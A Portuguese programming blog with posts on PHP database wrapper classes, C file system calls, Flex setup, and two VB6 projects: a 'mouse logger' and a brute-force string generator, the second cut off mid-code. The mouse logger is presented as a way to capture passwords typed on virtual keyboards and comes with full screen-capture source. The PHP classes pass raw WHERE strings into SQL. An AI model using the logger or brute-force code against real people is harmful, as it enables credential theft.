segunda-feira, 1 de junho de 2009

Classes banco PHP

Bem comecei a trabalhar com PHP, e como acho PHP muito sujo tentei limpar um pouco o código e resolvi desenvolver um conjunto de classes. O conjunto de classes ficou bem legal, então resolver compartilhar. Ainda tem algumas funções ainda estão em desenvolvimente.

Conectar a um banco

Código que faz a conexão com o banco.
//faz inclusão da classe
require_once 'lib/Generico.php';

//cria uma instancia da classe
$generico = new Generico();

//define os parametros para o banco
$generico->setUserDB("root");
$generico->setSenhaBanco("123mudar");
$generico->setDataBase("banco");
?>
Será feita conexão com o banco de dados com o usuário root e senha 123mudar.

Incluir valores

$generico->setNomeColunas(array("nome", "descricao"));
$generico->setValorColunas(array("Novidade1", "descricao1"));
$generico->incluirBanco();
setNomeColunas - Recebe um vetor com o nome das colunas da tabela
setValorColunas - Recebe um vetor com o valor da linha.
incluirBanco - Função responsável por incluir os valores no banco.

Econtrar Valores

$generico->encontrarBanco("idNovidade > 0");
while(($tabelaGenerico = $generico->getDadosTabela())) {
echo "Nome: $tabelaGenerico->nome Descrição: $tabelaGenerico->descricao
";
}
encontrarBanco - Recebe uma string onde vai ter a restrição para a presquisa, essa parte é a parte do WHERE da instrução SQL.
getDadosTabela - Retorna a linha encontrada no banco.

Alterar Valores

$generico->setNomeCampos(array("idNovidade", "nome", "descricao"));
$generico->setValorColunas(array("Novidade2", "descricao2"));
$generico->alterarBanco("idNovidade = 1");
setNomeCampos - Define os campos da tabela, agora vou precisar do campo idNovidade.
setValorColunas - Define os valores dos campos.
alterarBanco - Irá fazer a alteração no banco com o parâmetro que for informado.

Excluir Valores

$generico->excluirBanco("idNovidade = 1");
excluirBanco - Excluir o registro do critério.

Abaixo o código completo.
//importa a classe
require_once 'lib/dataBase/Generico.php';

//cria uma instancia da classe
$generico = new Generico();

//define paramento do banco
$generico->setUserDB("root");
$generico->setSenhaBanco("123mudar");
$generico->setDataBase("teste");
$generico->setNomeTabela("novidades");

//incluir registro
$generico->setNomeColunas(array("nome", "descricao"));
$generico->setValorColunas(array("Novidade1", "descricao1"));
$generico->incluirBanco();
$generico->setValorColunas(array("Novidade1", "descricao1"));
$generico->incluirBanco();
$generico->setValorColunas(array("Novidade1", "descricao1"));
$generico->incluirBanco();

//encontrar todos os registros
$generico->encontrarBanco("idNovidade > 0");
while(($tabelaGenerico = $generico->getDadosTabela())) {
echo "Nome: $tabelaGenerico->nome Descrição: $tabelaGenerico->descricao
";
}

//alterar dados
$generico->setNomeCampos(array("idNovidade", "nome", "descricao"));
$generico->setValorColunas(array("Novidade2", "descricao2"));
$generico->alterarBanco("idNovidade = 1");

//excluir um registro
$generico->excluirBanco("idNovidade = 1");
?>
O SQL da tabela utilizada do exemplo.
DROP TABLE IF EXISTS `novidades`;

CREATE TABLE IF NOT EXISTS `novidades` (
`idNovidade` int(10) unsigned NOT NULL AUTO_INCREMENT,
`nome` varchar(250) DEFAULT NULL,
`descricao` varchar(250) DEFAULT NULL,
PRIMARY KEY (`idNovidade`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
Toda movimentação no banco é gerado um arquivo de log, onde informa se teve algum erro, e o que foi executado, por exemplo.
01/06/2009 - 15:26:04: INSERT INTO novidades(nome, descricao) VALUES('Novidade1', 'descricao1');
01/06/2009 - 15:26:04: INSERT INTO novidades(nome, descricao) VALUES('Novidade1', 'descricao1');
01/06/2009 - 15:26:04: INSERT INTO novidades(nome, descricao) VALUES('Novidade1', 'descricao1');
01/06/2009 - 15:26:04: SELECT COUNT(*) AS quantidade FROM novidades WHERE idNovidade > 0
01/06/2009 - 15:26:04: SELECT nome, descricao FROM novidades WHERE idNovidade > 0
01/06/2009 - 15:26:04: UPDATE novidades SET nome = 'Novidade2', descricao = 'descricao2' WHERE idNovidade = 1
01/06/2009 - 15:26:04: DELETE FROM novidades WHERE idNovidade = 1
Bem para poder baixar o conjunto de classes clique aqui.

terça-feira, 26 de maio de 2009

Operações básicas de arquivos em C

Bem fiquei um tempo fora, mas estou de volta :D
Vou falar um pouco de operações básicas de arquivos em C para Linux.
  • Abrir arquivos
  • Ler arquivos
  • Escrever arquivos
  • Fechar arquivos

Abrir Arquivo

Nesta sessão vamos olhar o básico de leitura e escrita em arquivos. Para que um arquivo possa ser lido ou escrito ele deve ser aberto. O kernel tem uma lista de arquivos abertos por processos, que é chamada de file table. Essa tabela é indexada por inteiros não negativos chamados de file descriptors (frequentimente abreviado por fds). Cada entidade da lista contém informações sobre o arquivo aberto, um ponteiro na memória uma cópia do inode do arquivo e o meta-data associado, como a possição e modes de acesso. Ambos os user space e kernel space usam file descriptor para processos unicos. Abrindo um arquivo é retornado o file descriptor, para operações posteriores (ler, escrever, etc..). Por padrão, um processo filho recebe uma cópia da file table. Se um processo filho fechar um arquivo, isso não afetará outros processos que utilizam a tabela porque ele recebeu uma cópia, e não faz referência a tabela pai. Mas é possível o filho fazer referência a tabela pai, utilizando os threads.

File descriptors são representados em C pelo tipo int. Por padrão todo processo tem três file descripor apertos que são: 0, 1 e 2. O file descriptor 0 é o padrão de entrada (stdin), o file descriptor 1 é o pradrão de saída(stdout) e o file descriptor 2 é o padrão para erros (strerr).

Abrindo arquivos

O método mais básico para acessar um arquivo é pela system calls read() e write().
Para que o arquivo possa ser acessado, primeiro deve ser aberto open() ou criado creat(). E todo arquivo deve ser fechado utilizando a system call close().
A System Call open()
Um arquivo é aberto, e se obtém o file descriptor utilizando a system call open():
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open (const char *name, int flags);
int open (const char *name, int flags, mode_t mode);
A system call open() mapeia o caminho do arquivo para um file descriptor, que é retornado se sucesso. A posição é definido como zero, e o arquivo é aberto conforme é passado os flags.
Flags para open( )
O argumento flags é algo como O_RDONLY, O_WRONLY, or O_RDWR.

Por exemplo, o código a seguir abre para leitura o arquivo /home/kidd/madagascar:
int fd;

fd = open ("/home/kidd/madagascar", O_RDONLY);

if (fd == -1)
/* error */
Um arquivo somente para leitura não pode ser lido, e vice versa. O processo deve ter permissões suficientes para poder acessar o arquivo.
O argumento flags pode ser um ou mais dos valores a seguir, eles modificam a forma que a requisição open é feita:
O_APPEND
O arquivo é aperto em append mode. Isto é, após cada escrito, a posição do arquivo será atualizada para o final do arquivo.
O_ASYNC
Um sinal é gerado quando o arquivo específico é lido ou gravado. Este flas é disponivel somente para terminais e sockets, não para arquivos regulares.
O_CREAT
Se o arquivo não existir, o kernel ira cria-ló. Se o arquivo já existir, este flag não tem efeito sem o O_EXCL.
O_DIRECT
Irá abrir para uso direto I/O
O_DIRECTORY
Se o nome não é um diretorio, a chamada open() irá falhar. Este flag e usado internamento pela chamada opendir().
O_EXCL
Quando passado com O_CREAT, este flag causaria na chamade de open() uma falha se o arquivo já existir. Isto é usado para previnir competições em criação de arquivo.
O_LARGEFILE
O arquivo será abero usando 64-bit de offset, permitindo trabalhar com arquivos maiores do que dois gigabytes. Este já é embutido nas arquiteturas de 64-bit.
O_NOCTTY
Se passado o name refere-se ao um terminal device (como, /dev/tty),
If the given name refers to a terminal device (say, /dev/tty). Este flag não é frequentimente usado.
O_NOFOLLOW
Se o o name é um link simbólico, a chamada open() irá falhar. Normalmente, o link é resolvido, e o arquivo alvo é aberto. Quando o link está no path, ele será um sucesso. Por exemplo temos o arquivo /etc/ship/plank.txt se plank.txt é um link a chamada open() irá falhar, agora se ship ou etc for um link a chamda open() não irá falhar, será um sucesso.
O_SYNC
O arquivo irá ser aberto para sinconizar com I/O. Toda a operação irá se completar se as entidades de daods serem escritas no disco; operações normais de leituras já são sinconizadas, este flag não tem efeito para a leitura.
O_TRUNC
Se o arquivo existir e tiver permisão para escrita o arquivo será limpo.

Por exemplo, o código a seguir abre o arquivo para escrita. Se o arquivo já existir, ele será truncated(modificado) para o tamanho zero, se não existir irá falhar. Porque o flag O_CREAT não foi especificado.
int fd;
fd = open ("/home/teach/pearl", O_WRONLY | O_TRUNC);

if (fd == -1)
/* error */

Donos de novos arquivos

Determinando quem é responsável pelo novo arquivo: o uid é o arquivo responsável pela efetivo da criação de arquivos pelo processo.
Determinar o grupo é mais complicado. O padrão para definir o grupo do arquivo é modificar o gid do processo que irá criar o arquivo.
Posteriormente vamos dar uma olhada em como modificar as permissões de arquivos.

Permissões para novos arquivos

Todas as formas de open() usadas anteriormente são válidas. O argumento mode é ignorado a não ser se o arquivo for criado; é necessário quando é passado o O_CREAT. Se você esquecer quando passar usar o argumento mode quando é passado o O_CREAT, os resultados são indefinidos, e frequentimente horríveis - não se esqueça!
Quando o arquivo é criado, o argumento mode prove as permissões para o mais novo arquivo. O mode não é checado para a abertura de arquivos, como a leitura ou escrita de arquivos.
O que pode ser passado para o argumento mode é:
S_IRWXU
O dono tem a permissão de ler, escrever e executar.
S_IRUSR
O dono tem a permissão de ler.
S_IWUSR
O dono tem a permissão de escrever.
S_IXUSR
O dono tem a permissão de executar.
S_IRWXG
O grupo tem a permissão de ler, escrever e executar.
S_IRGRP
O grupo tem a permissão de ler.
S_IWGRP
O grupo tem a permissão de escrever.
S_IXGRP
O grupo tem a permissão de executar.
S_IRWXO
Qualquer um pode ler, escrever e executar.
S_IROTH
Qualquer um pode ler.
S_IWOTH
Qualquer um pode escrever.
S_IXOTH
Qualquer um pode executar.

Exemplo de um código, utilizando o argumento mode:
int fd;

fd = open (file, O_WRONLY | O_CREAT | O_TRUNC,
S_IWUSR | S_IRUSR | S_IWGRP | S_IRGRP | S_IROTH);

if (fd == -1)
/* error */

Lendo via read()

Agora que você sabe abrir um arquivo, vamos ver com ler-lo. E na próxima sessão como escrever um arquivo.
O mecanismo mais básico e comum para leitura de arquivos é usar a system call read(), definido no POSIX.1:
#include <unistd.h>
ssize_t read (int fd, void *buf, size_t len);
Cada chamada faz a leitura de len bytes dentro de buf do offset atual dentro do arquivo referenciado por fd. Se em sucesso, o numero de bytes escritos no buf é retornado. Em erro, a chamada retorna -1, e errno é definido. A numero da posição do arquivo é avançado de acordor com a quantidade de bytes lidos de fd. Se o objetivo representado por fd não é tem a capacidade de seeking(movimentação) (por exemplo, um arquivo de dispositivo de caracter), a leitura sempre ocupa a posição "atual".
Este exemplo le de uma palavra dentro do file descriptor fd.
unsigned long word;
ssize_t nr;

/* read a couple bytes into 'word' from 'fd' */
nr = read (fd, &word, sizeof (unsigned long));

if (nr == -1)
/* error */
É possível a função read() retornar um valor positivo diferente de zero e menor do len. Isso pode acontecer se o len for maior que a quantidade disponivel, o sistema pode ser interrompido por um sinal, etc.
É possível retornar o valor 0 quando usamos a função read(), isso indica que é o end-of-file(EOF) fim-de-arquivo; neste caso, é claro, não há mais bytes para a função read. O EOF não é considerado um erro, porque o erro é retornado o valor -1.

Lendo todos os bytes

O exemplo abaixo vai ler todos os bytes do arquivo, o loop vai ser executado até que o valor de read seja zero, ou seja, enquanto o arquivo não acabar leia o proximo buffer.
ssize_t ret;
while (len != 0 && (ret = read (fd, buf, len)) != 0) {
if (ret == -1) {
if (errno == EINTR)
continue;
perror ("read");
break;
}

len -= ret;
buf += ret;
}

Escrevendo com write()

A mais simples e comum função usada para escrever é write().
#include <unistd.h>
ssize_t write (int fd, const void *buf, size_t count);
A chamada write() escreve a quantidade count de bytes inicando no buf na posição atual do arquivo. Arquivos que não suportam seeking(movimentacao) (por exempolo, dispositivos de caracteres) sempre escreveram no "head".
Em sucesso, o numero de bytes escritos será retornado, e a posição do arquivo será atualizada. Em erro o valor retornado será de -1 e errno será definida. A chamada write pode retornar 0, mas esse valor não tem um significado especial; simplimente foram escritos zero bytes.
const char *buf = "Hello world in file!";
ssize_t nr;

/* write the string in 'buf' to 'fd' */
nr = write (fd, buf, strlen (buf));

if (nr == -1)
/* error */

Append Mode

Quando fd é aberto em append mode (atravez de O_APPEND), as escritas não ocorrem na posição atual do file descriptor. Eles acontecem no final do arquivo.
Por exemplo, temos dois processos que escrevem o mesmo arquivo, sem o append mode, o primeiro processo escreveria o final do arquivo, e o segundo processo escreveria a mesma posição, ou seja, os arquivos escreveria o mesmo local um depois do outro, o append mode, mesmo que qualqeur outro processo escrevesse no arquivo ele iria escrever no final do arquivo.

Funcionamento de write()

Quando uma aplicação faz uma chamada para write o kernel não grava diretamente no disco ele primeiro grava em um buffer e quando o disco estiver disponivel ele grava o buffer realmente no disco. O nome dessa é operação é writeback, isso é feito para ter um bom desempenho nas aplicações. Nesse meio tempo, pode acontecer da operação de escrita possa falhar, para se ter certeza que toda vez que utilizar a função write ele vai ser escrito no disco utilizamos a função em modo sincronizado.

Sincronizando I/O

O metodo mais simples é utilizando a função fsync() ela garante que toda operação de escrita vai ser completada.
#include <unistd.h>

int fsync (int fd);
Devemos passar somente o fd que será sincronizado.

Fechando arquivos

Após um programa terminar de trabalhar com os file descriptor, ele deve ser retirado da tabela de arquivos para isso serve a função close()
#include <unistd.h>

int close (int fd);
Só é necessário passar qual é o file descriptor que deseja retirar da tabela de arquivos.

Baseado/cópia/tradução do livro.

domingo, 5 de outubro de 2008

Iniciação em Flex

Bem a um tempo deu uma olhada na linguagem Flex e chamou a atenção por sua beleza e por ser para web. Pretendo aqui mostrar como montar um ambiente de desenvolvimento em windows. A linguagem trabalha sobre java, ou seja, onde tem máquina virtual java você vai poder compilar em flex. A idéia de flex se parece muito com java, você compila e é gerado um arquivo SWF onde o browser vai interpretar o arquivo. Ou seja, é uma linguagem compilada e interpretada.

Inicialmente vamos baixar o SDK(
Software Development Kit), onde contém as ferramentas para o desenvolvimento. Lembrando que todo o kit de desenvolvimento é openSource. http://www.adobe.com/products/flex/flexdownloads/index.html

Depois de baixar o Flex SDK, descompacte onde desejar. É necessário que o JRE esteja instalado na máquina para que funcione. Para baixar a máquina virtual
http://www.java.com/en/download/manual.jsp

Agora onde é descompactado o arquivo Flex SDK contém uma pasta com o nome de bin onde localiza todo os binários, incluse o compilador.

Para não ter que passar todo o caminho do compilador na hora da compilação é necessário adicionar essa pasta no na variável PATH do sistema operacional.

Exemplo sem ser adicionado no PATH

C:Documents and SettingsAlucard>c:/flex sdk/bin/mxmlc arquivo.mxml


Exemplo com o PATH

C:Documents and SettingsAlucard>mxmlc arquivo.mxml

Para adicionar a pasta na variável PATH acesse:

Iniciar > Painel de Controle > Sistema

Depois a aba Avançado depois clique no botão Variáveis de Ambiente

Na variável PATH no final adicione um ; (Ponto e Vírgula) no final do texto e adicione o caminho da pasta bin do flex, por exemplo.

c:/flex sdk/bin/

Depois disso abra o Console e digite mxmlc e veja se aparece alguma coisa do tipo:

Version 3.1.0 build 2710
Copyright (c) 2004-2007 Adobe Systems, Inc. All rights reserved.
mxmlc [options] [defaultVar]
Use 'mxmlc -help' for more information.

Quando adicionado algum acento como 'Olá' é gerado um erro então aconselho que não utilize acentos.
Vamos a um teste.
<?xml version="1.0"?>
<!-- containerslayoutsCanvasRepos.mxml -->
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml">
<mx:Canvas width = "300" height = "185">
<mx:Label id = "lbl" text = "Informe um nome" x = "0" y = "0"/>
<mx:TextInput id = "text1" text = "" width = "296" x= "2" y = "20"/>

<mx:Button id = "button1" label = "Limpar" x = "10" y = "150"
click="text1.text = '';"
/>

<mx:Button label = "Exibir" x = "111" y = "150"
click = "Alert.show('Ola bem vindo(a) ' + text1.text);"
/>
</mx:Canvas>
</mx:Application>
Bem podemos também criar uma função para fazer o que desejamos.
<?xml version="1.0"?>
<!-- containerslayoutsCanvasRepos.mxml -->
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml">
<mx:Script><![CDATA[
import mx.controls.Alert;

private function dizerOla():void {
Alert.show(
"Ola seja bem vindo(a) " + text1.text)
}
]]>
</mx:Script>

<mx:Canvas width = "300" height = "185">
<mx:Label id = "lbl" text = "Informe um nome" x = "0" y = "0"/>
<mx:TextInput id = "text1" text = "" width = "296" x= "2" y = "20"/>

<mx:Button id = "button1" label = "Limpar" x = "10" y = "150"
click="text1.text = '';"
/>

<mx:Button label = "Exibir" x = "111" y = "150"
click = "dizerOla()"
/>
</mx:Canvas>
</mx:Application>
Para saber melhor o que o código faz consulte a documentação, que é muito boa.

Compile o código com mxmlc arquivo.mxml, será gerado no mesmo diretório e com o mesmo nome um arquivo SWF esse arquivo deve ser adicionado em uma pagina de internet para ser visualizado. Um código de exemplo abaixo, altere o parâmetro src para o nome do arquivo gerado SWF.

<title>Exemplo 1
<body>

<embed src="teste1.swf" quality="high" type="application/x-shockwave-flash" >

</body>

Bem para agilizar um pouco mais o desenvolvimento configurei um editor de texto para fazer todo o papel de compilação e mostrar o que foi feito. Para isso utilizei o editor de texto RJ TextED que pode ser baixando em:
http://baixaki.ig.com.br/download/RJ-TextEd.htm

Primeiramente crie um arquivo em lotes com o seguinte código.

mxmlc teste.mxml
teste.html

Bem agora vamos dizer para o RJ que quando apertamos F5 deve chamar o arquivo de lote que irá compilar e depois exibir.

Para isso acesse:

Tools > Configure Tools... Depois acesse clique no botão Add

Adicione as seguinte configurações:

Menu text: como Compilar ou qualquer outro nome
Type: Executable(.exe|.com)
Command: coloque o caminho do arquivo .bat
Initial Dir: [CurrentFileDir]

Marque as opções:
Run as DOS Command and capture output
Reload current document

Bem agora temos que adicionar o atalho no teclado para chamar essas configurações, acesse.

Tools > Configure Tools...

Irá mostrar um item com o nome que você escolheu selecione-o.
Logo abaixo tem uma caixa de texto com o nome

Press new shortcut key
Prescione F5 e clique no botão Assign.

Por padrão o RJ TextED já vem com uma ação na tecla F5 devemos tira-lá. Para isso acesse:

Envionment > Customize Keyboard
Procure pelo item Edit > TimeDataAction e depois clique no botão Remove.

Pronto as configurações do RJ TextED estão prontas, divirta-se.

domingo, 7 de setembro de 2008

O assunto é mouse logger, esse tipo de programa captura a área do mouse.
Ele é utilizado para capturar senhas onde não é necessário prescionar teclas. Um exemplo são os teclados virtuais, onde o cliente apenas clica nos caracteres e é preenchido na caixa de texto.

Devemos pegar a tela do usuário depois pegar somente a área onde o mouse se encontra.

Para pegarmos a tela e copiar para algum DC usamos.

Public Sub CaptureScreen(Left As Long, Top As Long, Width As Long, Height As Long)
  Dim srcDC As Long
  Dim dm As DEVMODE

  srcDC = CreateDC("DISPLAY", "", "", dm)

  BitBlt Me.hdc, 0, 0, Width, Height, srcDC, Left, Top, SRCCOPY
End Sub


Devemos passar qual vai ser as coordenas da tela, para pegar toda a tela de uma resolução 800x600 a função deveria ser chamada da seguinte maneira.

CaptureScreen 0, 0, 800, 600

Analisando o corpo da funcao CaptureScreen, a primeira função utilizada é CreateDC essa função criar um dispositivo de contexto(device context(DC)) de um dispositivo no caso "DISPLAY" ou seja, a tela.
Depois disso usamos a função BitBlt essa função ela copia de um DC para outro DC, ou seja criamos um DC de toda a tela que será copia para o DC do form, poderia ser de uma PictureBox, também.

Podemos passar alguns parâmetros para essa função como a posição Left "X" e Top "Y", e também a largura "Width" e altura "Height" da área que queremos copiar.

Podemos então pegar a posição do mouse e passar para a função CaptureScreen para podermos" "filtrar a imagem".
A função GetCursorPos retorna a posição do mouse na estrutura que passada como parâmetro.
O código abaixo imprime no Immediate a posição do mouse.
No código abaixo crie um timer e adicione a ele um intervalo.

Option Explicit

Private Const SRCCOPY = &HCC0020 ' (DWORD) destination = source

Private Type POINTAPI
    X As Long
    Y As Long
End Type
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long

Private Sub Timer1_Timer()
  Dim cursor  As POINTAPI

  GetCursorPos cursor
 
  Debug.Print "X: " & cursor.X
  Debug.Print "Y: " & cursor.Y
End Sub


Bem agora o código completo de um mouse logger.

Option Explicit

Private Const SRCCOPY = &HCC0020 ' (DWORD) destination = source
Private Const CCHDEVICENAME = 32
Private Const CCHFORMNAME = 32

Private Type POINTAPI
    X As Long
    Y As Long
End Type

Private Type DEVMODE
    dmDeviceName As String * CCHDEVICENAME
    dmSpecVersion As Integer
    dmDriverVersion As Integer
    dmSize As Integer
    dmDriverExtra As Integer
    dmFields As Long
    dmOrientation As Integer
    dmPaperSize As Integer
    dmPaperLength As Integer
    dmPaperWidth As Integer
    dmScale As Integer
    dmCopies As Integer
    dmDefaultSource As Integer
    dmPrintQuality As Integer
    dmColor As Integer
    dmDuplex As Integer
    dmYResolution As Integer
    dmTTOption As Integer
    dmCollate As Integer
    dmFormName As String * CCHFORMNAME
    dmUnusedPadding As Integer
    dmBitsPerPel As Long
    dmPelsWidth As Long
    dmPelsHeight As Long
    dmDisplayFlags As Long
    dmDisplayFrequency As Long
End Type

'API
Private Declare Function BitBlt Lib "gdi32.dll" (ByVal hDestDC As Long, ByVal X As Long, ByVal Y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function CreateDC Lib "gdi32.dll" Alias "CreateDCA" (ByVal lpDriverName As String, ByVal lpDeviceName As String, ByVal lpOutput As String, lpInitData As DEVMODE) As Long

Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long

Public Sub CaptureScreen(Left As Long, Top As Long, Width As Long, Height As Long)
  Dim srcDC As Long
  Dim dm As DEVMODE

  srcDC = CreateDC("DISPLAY", "", "", dm)

  BitBlt Me.hdc, 0, 0, Width, Height, srcDC, Left, Top, SRCCOPY
End Sub

Private Sub Form_Load()

End Sub

Private Sub Timer1_Timer()
  Dim cursor  As POINTAPI
 
  Me.Cls
  GetCursorPos cursor
 
  CaptureScreen cursor.X - 100, cursor.Y - 100, 200, 200
End Sub



quinta-feira, 7 de agosto de 2008

Bem
ficava imaginando como um brute force trabalhava como ele fazia os testes como
aa, ab, ac, ad, ae, af, etc...
Queria saber como ele gerava essas string's.
Bem com sabemos, cada letra tem um respectivo valor na tabela Ascii por exemplo, a letra A o valor em Ascii dela é 65 a letra B o valor dela é 66, ou seja, baseado nesses valores que é gerado as listas.

Abaixo uma tabela Ascii.

Caracter Decimal Hexadecimal Binário
NUL 00 00 0000 0000
SOH 01 01 0000 0001
STX 02 02 0000 0010
ETX 03 03 0000 0011
EOT 04 04 0000 0100
ENQ 05 05 0000 0101
ACK 06 06 0000 0110
BEL 07 07 0000 0111
BS 08 08 0000 0100
HT 09 09 0000 1001
LF 10 0A 0000 1010
VT 11 0B 0000 1011
FF 12 0C 0000 1100
CR 13 0D 0000 1101
SO 14 0E 0000 1110
SI 15 0F 0000 1111
DLE 16 10 0001 0000
D1 17 11 0001 0001
D2 18 12 0001 0010
D3 19 13 0001 0011
D4 20 14 0001 0100
NAK 21 15 0001 0101
SYN 22 16 0001 0110
ETB 23 17 0001 0111
CAN 24 18 0001 1000
EM 25 19 0001 1001
SUB 26 1A 0001 1010
ESC 27 1B 0001 1011
FS 28 1C 0001 1100
GS 29 1D 0001 1101
RS 30 1E 0001 1110
US 31 1F 0001 1111
Espaço 32 20 0010 0000
! 33 21 0010 0001
" 34 22 0010 0010
# 35 23 0010 0011
$ 36 24 0010 0100
% 37 25 0010 0101
& 38 26 0010 0110
' 39 27 0010 0111
( 40 28 0010 1000
) 41 29 0010 1001
* 42 2A 0010 1010
+ 43 2B 0010 1011
, 44 2C 0010 1100
- 45 2D 0010 1101
. 46 2E 0010 1110
/ 47 2F 0010 1111
0 48 30 0011 0000
1 49 31 0011 0001
2 50 32 0011 0010
3 51 33 0011 0011
4 52 34 0011 0100
5 53 35 0011 0101
6 54 36 0011 0110
7 55 37 0011 0111
8 56 38 0011 1000
9 57 39 0011 1001
: 58 3A 0011 1010
; 59 3B 0011 1011
< 60 3C 0011 1100
= 61 3D 0011 1101
> 62 3E 0011 1110
? 63 3F 0011 1111
@ 64 40 0100 0000
A 65 41 0100 0001
B 66 42 0100 0010
C 67 43 0100 0011
D 68 44 0100 0100
E 69 45 0100 0101
F 70 46 0100 0110
G 71 47 0100 0111
H 72 48 0100 1000
I 73 49 0100 1001
J 74 4A 0100 1010
K 75 4B 0100 1011
L 76 4C 0100 1100
M 77 4D 0100 1101
N 78 4E 0100 1110
O 79 4F 0100 1111
P 80 50 0101 0000
Q 81 51 0101 0001
R 82 52 0101 0010
S 83 53 0101 0011
T 84 54 0101 0100
U 85 55 0101 0101
V 86 56 0101 0110
W 87 57 0101 0111
X 88 58 0101 1000
Y 89 59 0101 1001
Z 90 5A 0101 1010
[ 91 5B 0101 1011
92 5C 0101 1100
] 93 5D 0101 1101
^ 94 5E 0101 1110
_ 95 5F 0101 1111
` 96 60 0110 0000
a 97 61 0110 0001
b 98 62 0110 0010
c 99 63 0110 0011
d 100 64 0110 0100
e 101 65 0110 0101
f 102 66 0110 0110
g 103 67 0110 0111
h 104 68 0110 1000
i 105 69 0110 1001
j 106 6A 0110 1010
k 107 6B 0110 1011
l 108 6C 0110 1100
m 109 6D 0110 1101
n 110 6E 0110 1110
o 111 6F 0110 1111
p 112 70 0111 0000
q 113 71 0111 0001
r 114 72 0111 0010
s 115 73 0111 0011
t 116 74 0111 0100
u 117 75 0111 0101
v 118 76 0111 0110
w 119 77 0111 0111
x 120 78 0111 1000
y 121 79 0111 1001
z 122 7A 0111 1010
{ 123 7B 0111 1011
| 124 7C 0111 1100
} 125 7D 0111 1101
~ 126 7E 0111 1110
DELETE 127 7F 0111 1111

Bem a lógica inicial é temos um valor inicial e um valor final vamos dar o exemplo que o valor inical seja 97, letra a, e o valor final seja 100, letra d. A primeira sequência é bem simples apenas todas as letras

a
b
c
d

Depois de ser gerado o último caracter que no caso é d vai ser adicionado um letra com o valor inical, no caso a.

aa

Bem depois disso dever ser modificado apenas o último caracter gerando:

aa
ab
ac
ad

Quando o valor chegar em d o caracter anterior deve ser modificado para o próximo caracter e todo o restante deve ser inicializado.

ba
bb
bc
bd

Vamos pegar um exemplo um pouco maior abcaab o próxima sequência seria:

abcaab
abcaac
abcaad

Quando chegar em d vai ser modificado o anterior e inicializando do o resto

abcaba
abcabb
abcabc
abcabd

Bem chegou em d vai ser modificando o anteiror e inicializado todo o resto

abcaca
abcacb
abcacc
abcacd

Bem vamos imaginar a seguinte situação

abddd

Enquanto é a letra d vai voltando um caracter modificando assim o caracter b para c acaaa e inicializando todo o resto

acaaa
acaab
acaac
acaad

A lógica de criar todos os tipos de strings seria essa. Desenvolvi um código em vb6 para ilustrar todo se raciocínio. Crie um novo projeto adicione um Text com o nome Text1 e um Timer com o nome Timer1 coloque o interval do timer1 para 1000.

Abaixo uma breve explicação de como funciona o código.
Começando pelas as váriaveis públicas.

Dim index As Integer

A váriavel index vai conter o valor de qual posição da string vai ser modificada por exemplo

aabcd

O valor que será modificado seria a string c, então o meu index nesse momento seria 4, que é a posição da letra c.

Dim str As String

Apenas vai armazenar a string atual.

Dim strFinal As String

Apenas vai armazenar a ultima string da sequência por exemplo, se estamos com a string atual abca então a strFinal vai ter dddd. Ela é usada para saber se chegou no final da sequência ou não.

Dim lenStr As Integer

Apenas vai conter o valor do tamanho máximo de caracteres

Dim ultimoChar As Integer

Valor em ascii do ultimo valor, como usamos no exemplo anterior 100 que seria a letra d

Dim primeiroChar As Integer

Valor em ascii do primeiro valor, como usamos no exemplo anterior 97 que seria a letra a

Essa função vai modificar o character para a próximo valor por exemplo se passo a seguinte chamada

mudarProximoChar("aacd", 3)

vai ser retornado

aada

Observe que após a letra modificada no caso c tudo inicialiaza, ou seja, volta para o primeiro caracter que é no nosso caso a.
Um outro exemplo

mudarProximoChar("addd", 1)

Seria retornado

baaa

O objetivo desse função é modificar o character informado no index e inicializar todas o restante.

Private Function mudarProximoChar(str As String, index As Integer) As String
Dim chrInt As Integer
Dim tmp As String

chrInt = Asc(Mid(str, index, 1)) 'vou tirar o char Int

chrInt = chrInt + 1 'mudo para a próxima letra

If chrInt = ultimoChar Then
MsgBox "Char invalido"
End If

'se for no inicio da string
If index = 1 Then
'vai substituir somente o primeiro
tmp = Chr(chrInt)

Else 'se o caracter tiver no meio
tmp = Mid(str, 1, index - 1) & Chr(chrInt) 'vai substituir o caracter qeu tiver no meio
End If


'vou substituir daqui para frente com valores novos para não complicar o analizador
'vai ficara asim se mudei esse caracter é porque os anterios já estão modificados
'por exemplo
'vou modificar o b de aabee o proximo tem que ser
'aacaa
'para o proximo ser aacab

While Len(str) <> Len(tmp)
tmp = tmp & Chr(primeiroChar)
Wend

mudarProximoChar = tmp
End Function


A função gerarTodosStr ela apenas vai gerar todos os caracter anexando na string informada por exemplo.

gerarTodosStr("ihhi")

Seria retornado:

ihhia
ihhib
ihhic
ihhid

Ou seja, vai ser gerado todas as combinações baseado na string informada.

Private Sub gerarTodosStr(tmp As String)
Dim tmpInt As Integer

tmpInt = primeiroChar

While tmpInt <= ultimoChar
'coloco no text o char atual
Me.Text1.Text = Me.Text1.Text & tmp & Chr(tmpInt) & vbNewLine

tmpInt = tmpInt + 1
Wend
End Sub

Bem a função iniStr é bem simples apenas pega o tamanho da string e inicializa ela por exemplo, é feito a seguinte chamda

iniStr("abcda")

Seria retornado no nosso caso

aaaaa

Ou seja, apenas inicializa baseado no primeiro valor informado.

Private Function iniStr(tmp As String) As String
Dim contador As Integer
Dim tmpStr As String

contador = Len(tmp)

While contador <> 0
tmpStr = tmpStr & Chr(primeiroChar)

contador = contador - 1
Wend

iniStr = tmpStr
End Function

A Função pegarProximoIndex vai analiza a string informada e vai retornar qual é o character é igual a ultimo char, no nosso caso d.
Se não achar ninguém que é igual a o ultimo char ai ser retornado 1.

Private Function pegarProximoIndex(str As String) As Integer
Dim contador As Integer

contador = Len(str)

'vou tá percorrendo a string para ver se alguém já terminou se tá no ultimo char
While Mid(str, contador, 1) = Chr(ultimoChar) And contador > 1
contador = contador - 1
Wend

pegarProximoIndex = contador
End Function

Agora a maior função é um timer que faz a ligação de todas as outras.

Private Sub Timer1_Timer()
If Len(str) > 0 Then ' se não for o inicio
If str = strFinal Then 'fim do index
